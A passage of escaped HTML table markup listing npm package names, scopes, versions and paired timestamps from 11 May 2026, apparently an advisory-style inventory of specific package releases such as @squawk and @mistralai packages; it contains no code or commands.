align=\"left\">2026-05-11T22:54:03.542Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaid-data\">navaid-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:47.452Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:03.470Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/notams\">notams<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:48.123Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:03.434Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry-data\">icao-registry-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:48.127Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:03.079Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airports\">airports<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:46.109Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:02.909Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaids\">navaids<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:46.260Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:54:02.822Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.17<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:21.830Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:53:32.050Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/git-branch-selector\">git-branch-selector<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.3.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:16.173Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:53:06.549Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tolka\">@tolka<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tolka\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:48:15.891Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:53:06.317Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mistralai\">@mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mistralai\/mistralai-gcp\">mistralai-gcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.7.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:45:38.309Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:52:55.863Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mistralai\">@mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mistralai\/mistralai-gcp\">mistralai-gcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.7.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:23.487Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:52:46.401Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mistralai\">@mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mistralai\/mistralai-azure\">mistralai-azure<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.7.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:45:37.951Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:52:46.040Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mistralai\">@mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mistralai\/mistralai-azure\">mistralai-azure<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.7.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:22.926Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:52:45.808Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/core\">core<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.2.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:01.926Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:51:41.014Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mesadev\">@mesadev<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mesadev\/saguaro\">saguaro<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.22<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:44:30.005Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:51:33.411Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mesadev\">@mesadev<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mesadev\/sdk\">sdk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.28.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:44:26.365Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:24.785Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mesadev\">@mesadev<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mesadev\/rest\">rest<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.28.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:44:26.862Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:49:22.940Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/cross-stitch\">cross-stitch<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.1.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:07.042Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:26:29.606Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/ts-dna\">ts-dna<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">3.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.368Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:25:21.661Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/mcp\">mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.9.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.628Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:23:27.562Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/wot-api\">wot-api<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:10.494Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:23:24.876Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/notams\">notams<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.716Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:35.970Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airways\">airways<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.568Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:34.995Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flightplan\">flightplan<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.323Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:32.124Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/weather\">weather<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.709Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:28.279Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flight-math\">flight-math<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.445Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:28.005Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airway-data\">airway-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.778Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:26.187Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedures\">procedures<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.325Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:25.502Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry-data\">icao-registry-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:06.431Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:24.075Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/units\">units<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.920Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:23.824Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaids\">navaids<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.491Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:23.421Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/types\">types<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.383Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:23.327Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fix-data\">fix-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.889Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:22.633Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaid-data\">navaid-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.249Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:22.343Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry\">icao-registry<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.216Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:22.267Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fixes\">fixes<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.320Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:21.857Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/geo\">geo<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.643Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:21.309Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedure-data\">procedure-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.799Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:20.493Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace-data\">airspace-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:06.007Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:19.994Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airports\">airports<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.104Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:19.198Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace\">airspace<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.299Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:19.182Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airport-data\">airport-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:17:05.606Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:22:16.423Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tolka\">@tolka<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tolka\/cli\">cli<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:09:06.157Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:15:27.507Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/git-branch-selector\">git-branch-selector<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.3.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:09:06.815Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:15:26.692Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/nextmove-mcp\">nextmove-mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:09:06.563Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:15:18.214Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/git-git-git\">git-git-git<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.9<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:09:06.445Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:15:17.260Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/theme\">theme<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.2.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:50.843Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:59.181Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/pos\">pos<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:51.077Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:57.286Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-medusa\">connector-medusa<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:50.854Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:54.077Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/components\">components<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:50.660Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:49.567Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-shopify\">connector-shopify<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:41:51.402Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T21:47:41.870Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a 